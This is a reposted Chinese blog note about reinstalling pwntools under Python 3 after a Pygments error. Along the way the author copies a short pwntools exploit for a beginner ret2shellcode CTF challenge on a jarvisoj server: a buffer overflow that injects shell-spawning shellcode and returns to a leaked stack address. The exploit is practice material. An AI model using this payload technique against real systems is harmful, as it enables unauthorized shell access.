热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

python3pwntools教程_记一次five熬夜重装pwntools

今天是个好日子,今天是12.21,冬至今天不是好日子,做一道简单题的时候发现pwntools没装好呜呜呜这是一道基础的ret2shellc

今天是个好日子,今天是12.21,冬至

今天不是好日子,做一道简单题的时候发现pwntools没装好呜呜呜

这是一道基础的ret2shellcode,但是也不会做的我直奔wp去抄exp

from pwn import *

p = remote('pwn2.jarvisoj.com', 9877)

#p = process("./level1")

#接收从下标为第14位到倒数第二位的字符串

text = p.recvline()[14:-2]

print text[14:-2]

#将text字符串通过int函数转换为16进制的地址,作为跳转的地址

buf_addr = int(text, 16)

shellcode = asm(shellcraft.sh())

payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr)

p.send(payload)

p.interactive()

然后运行,报错:

Traceback (most recent call last):

File "", line 1, in

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__

return getattr(m, key)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__

return getattr(m, key)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 80, in __getattr__

real = internal.make_function(key, self._shellcodes[key], self._dir)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 114, in make_function

template = lookup_template(path)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 79, in lookup_template

init_mako()

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 14, in init_mako

from mako.lookup import TemplateLookup

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/lookup.py", line 12, in

from mako import exceptions

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 305, in

_install_highlighting()

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 300, in _install_highlighting

_install_pygments()

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 284, in _install_pygments

from mako.ext.pygmentplugin import syntax_highlight # noqa

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/ext/pygmentplugin.py", line 8, in

from pygments.formatters.html import HtmlFormatter

File "/usr/local/lib/python2.7/dist-packages/Pygments-2.6.1-py2.7.egg/pygments/formatters/html.py", line 554

file=sys.stderr)

^

SyntaxError: invalid syntax

发现是shellcraft.sh()这里出了问题

e764b9bd30c50ab081312be19b884ce3.png

啊这。。。这还能怎么办呢,重装pwntools吧呜呜呜

但是又遇到了问题

b1c192a684c4500a12c860697d39e811.png

那,只好用python3安装pwntools了

首先安装vm tools

sudo apt-get install vim

执行所有升级

sudo apt-get update

sudo apt-get upgrade -y

安装编译Python源程序所需的包

sudo apt install build-essential -y

sudo apt install libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev -y

sudo apt-get install zlib1g-dev

下载Python 3.7源程序压缩包

wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz

解压缩

tar -xzvf Python-3.7.1.tgz

配置

cd Python-3.7.1

./configure --enable-optimizations

编译和安装Python 3.7

sudo make

sudo make install#这里遇到了报错,根据提示改成了sudo -H make install,完成

安装、升级、卸载pip和更换pip源

sudo apt-get install python3-pip

sudo pip3 install --upgrade pip#这条报错,改成-H)之后发现没有影响

sudo apt-get remove python3-pip

sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple#这条也是warning,改成-H了,好像干了点坏事)

ac414d709e4611268db3947555051d6c.png

32b758e23e6519905cb854da8bd09c16.png

安装git

sudo apt install git

进行git配置

sudo git config --global user.name ‘自定义用户名’

sudo git config --global user.email ‘邮箱’

查看配置

git config –list

pwntools

sudo apt-get install python python-pip python-dev libssl-dev libffi-dev build-essential#这条依旧报错,然后有个手滑,加了-H

sudo pip install -U setuptools

sudo pip install --upgrade pip

sudo pip install --upgrade pwntools#上面三条全部报错,没加-H,然后飙红了,给前两条加了最后一条没加,貌似成功了

492c68031297cde4e7a75d9ffb3882e9.png

b2471b3f42a8a37c6dcecd554792db29.png

0894a90ff856050fd9f0c4f59590bed6.png

装好了,还是比较蠢的2333

原文链接:https://blog.csdn.net/qq_49914719/article/details/111503762



推荐阅读
  • 本文详细介绍了如何使用Python的多进程技术来高效地分块读取超大文件,并将其输出为多个文件。通过这种方式,可以显著提高读取速度和处理效率。 ... [详细]
  • 开机自启动的几种方式
    0x01快速自启动目录快速启动目录自启动方式源于Windows中的一个目录,这个目录一般叫启动或者Startup。位于该目录下的PE文件会在开机后进行自启动 ... [详细]
  • 第二十五天接口、多态
    1.java是面向对象的语言。设计模式:接口接口类是从java里衍生出来的,不是python原生支持的主要用于继承里多继承抽象类是python原生支持的主要用于继承里的单继承但是接 ... [详细]
  • Python 伦理黑客技术:深入探讨后门攻击(第三部分)
    在《Python 伦理黑客技术:深入探讨后门攻击(第三部分)》中,作者详细分析了后门攻击中的Socket问题。由于TCP协议基于流,难以确定消息批次的结束点,这给后门攻击的实现带来了挑战。为了解决这一问题,文章提出了一系列有效的技术方案,包括使用特定的分隔符和长度前缀,以确保数据包的准确传输和解析。这些方法不仅提高了攻击的隐蔽性和可靠性,还为安全研究人员提供了宝贵的参考。 ... [详细]
  • MATLAB字典学习工具箱SPAMS:稀疏与字典学习的详细介绍、配置及应用实例
    SPAMS(Sparse Modeling Software)是一个强大的开源优化工具箱,专为解决多种稀疏估计问题而设计。该工具箱基于MATLAB,提供了丰富的算法和函数,适用于字典学习、信号处理和机器学习等领域。本文将详细介绍SPAMS的配置方法、核心功能及其在实际应用中的典型案例,帮助用户更好地理解和使用这一工具箱。 ... [详细]
  • 解决Bootstrap DataTable Ajax请求重复问题
    在最近的一个项目中,我们使用了JQuery DataTable进行数据展示,虽然使用起来非常方便,但在测试过程中发现了一个问题:当查询条件改变时,有时查询结果的数据不正确。通过FireBug调试发现,点击搜索按钮时,会发送两次Ajax请求,一次是原条件的请求,一次是新条件的请求。 ... [详细]
  • 在 Ubuntu 中遇到 Samba 服务器故障时,尝试卸载并重新安装 Samba 发现配置文件未重新生成。本文介绍了解决该问题的方法。 ... [详细]
  • 本文讨论了在进行 MySQL 数据迁移过程中遇到的所有 .frm 文件报错的问题,并提供了详细的解决方案和建议。 ... [详细]
  • 本文将详细介绍如何在Mac上安装Jupyter Notebook,并提供一些常见的问题解决方法。通过这些步骤,您将能够顺利地在Mac上运行Jupyter Notebook。 ... [详细]
  • .NET Core 托管服务优化与实践
    在.NET Core应用中,托管服务的形式主要分为进程内托管(InProcess)和进程外托管(OutOfProcess)。这两种托管方式各有优缺点,本文将深入探讨它们的特点,并结合实际案例,介绍如何根据具体需求选择合适的托管模式,以实现性能优化和资源利用的最大化。此外,文章还将分享一些实用的配置技巧和最佳实践,帮助开发者提升应用的稳定性和可维护性。 ... [详细]
  • ### 优化后的摘要本文对 HDU ACM 1073 题目进行了详细解析,该题属于基础字符串处理范畴。通过分析题目要求,我们可以发现这是一道较为简单的题目。代码实现中使用了 C++ 语言,并定义了一个常量 `N` 用于字符串长度的限制。主要操作包括字符串的输入、处理和输出,具体步骤涉及字符数组的初始化和字符串的逆序操作。通过对该题目的深入探讨,读者可以更好地理解字符串处理的基本方法和技巧。 ... [详细]
  • Android 构建基础流程详解
    Android 构建基础流程详解 ... [详细]
  • 本文介绍了如何利用Shell脚本高效地部署MHA(MySQL High Availability)高可用集群。通过详细的脚本编写和配置示例,展示了自动化部署过程中的关键步骤和注意事项。该方法不仅简化了集群的部署流程,还提高了系统的稳定性和可用性。 ... [详细]
  • 本文深入探讨了如何利用Maven高效管理项目中的外部依赖库。通过介绍Maven的官方依赖搜索地址(),详细讲解了依赖库的添加、版本管理和冲突解决等关键操作。此外,还提供了实用的配置示例和最佳实践,帮助开发者优化项目构建流程,提高开发效率。 ... [详细]
  • 使用Maven JAR插件将单个或多个文件及其依赖项合并为一个可引用的JAR包
    本文介绍了如何利用Maven中的maven-assembly-plugin插件将单个或多个Java文件及其依赖项打包成一个可引用的JAR文件。首先,需要创建一个新的Maven项目,并将待打包的Java文件复制到该项目中。通过配置maven-assembly-plugin,可以实现将所有文件及其依赖项合并为一个独立的JAR包,方便在其他项目中引用和使用。此外,该方法还支持自定义装配描述符,以满足不同场景下的需求。 ... [详细]
author-avatar
手机用户2502878095
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有